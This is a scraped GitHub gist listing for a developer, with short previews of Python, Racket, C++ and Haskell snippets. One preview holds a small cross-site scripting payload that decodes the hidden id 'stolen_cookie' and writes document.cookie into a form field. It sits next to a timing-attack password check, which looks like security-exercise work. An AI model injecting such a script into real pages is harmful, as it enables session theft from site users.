Skip to content

Instantly share code, notes, and snippets.

Avatar

Wei Li seckcoder

  • Blablabla
  • San Francisco
View GitHub Profile
View schengen_calculator.py
"""
Simple calculator to calculate the remaining number of days that I can stay in the schengen zone
"""
from datetime import datetime, timedelta
dates = [
"2019-06-28", "2019-07-27",
"2019-09-02", "2019-10-05",
View gist:d2e1d49c169e266b5b09
#lang racket
(require parser-tools/lex
(prefix-in re- parser-tools/lex-sre)
parser-tools/yacc)
(provide (all-defined-out))
(define-tokens a (NUM VAR))
(define-empty-tokens b (+ - EOF LET IN))
(define-lex-trans number
(syntax-rules ()
View gist:4c4483d718921d6a16c5
def calc(k,p,alpha):
u = 1.0 - 1.0 / float(1<<31)
p_actual = k / pow(1.0 + u * (pow(k / p, alpha) - 1), 1.0/alpha)
print "p actual:", p_actual
def E_X(r, p):
C_a = alpha * pow(k, alpha) / (1 - (pow(k/p,alpha)))
return (C_a / (r - alpha)) * (pow(p, r-alpha) - pow(k,r-alpha))
def C(ex1, ex2):
return ex2 / ex1 - 1
E_X_1_actual = E_X(1, p_actual)
View gist:d76d9f0c207688f437fa
#include <iostream>
#include <vector>
using namespace std;
int big_average(const vector<int> &vec) {
// we want sum(vec) / vec.size()
int a = vec.size(), quotient = 0, remainder = 0;
View gist:914bde8487a3da71e0fe
<script>
var id = String.fromCharcode([115, 116, 111, 108, 101, 110, 95, 99, 111, 111, 107, 105, 101]);
document.getElementById(id).value = document.cookie;
</script>
// Timing Attack # 1
function checkPwd(passwd) {
var start_time = new Date().getTime();
@seckcoder
seckcoder / gist:328d60120425db663051
Last active Aug 29, 2015
bug free binary search
View gist:328d60120425db663051
/*
*
* 最简单的二分查找. 在一个数组里面找是否存在某个数
* A是数组,在A[p-r]里面找是否存在某个数, 存在返回index,否则返回-1
*
*/
int binSearch(int A[], int p, int r, int v) {
while (p <= r) {
int m = (p+r)/2;
@seckcoder
seckcoder / gist:a86d7e730969dbb8fc20
Created Feb 22, 2015
Bizarre C++ Compiler Error
View gist:a86d7e730969dbb8fc20
// The following code will create Bizarre compiler error when compiled with clang++.
// Not sure what's wrong with it.
#include <iostream>
#include <vector>
using namespace std;
struct Edge {
int v;
View monad.rkt
#lang racket/base
;; Monads in Racket, including polymorphic bind, return and fail.
;; Haskell-like do-notation.
(provide define-monad-class
(struct-out monad-class)
monad?
gen:monad
monad->monad-class
determine-monad
View IOAction.hs
data IOAction a = Return a
| Put String (IOAction a)
| Get (String -> IOAction a)
get = Get Return
put s = Put s (Return ())
seqio :: IOAction a -> (a -> IOAction b) -> IOAction b
seqio (Return a) f = f a
seqio (Put s io) f = Put s (seqio io f)
View gist:5582c6bc54748f7440ed

ghc: 7.8.3

cabal-install version 1.20.0.3

using version 1.20.0.2 of the Cabal library

OS: Mac OS X Lion 10.7.5

After running cabal install stm: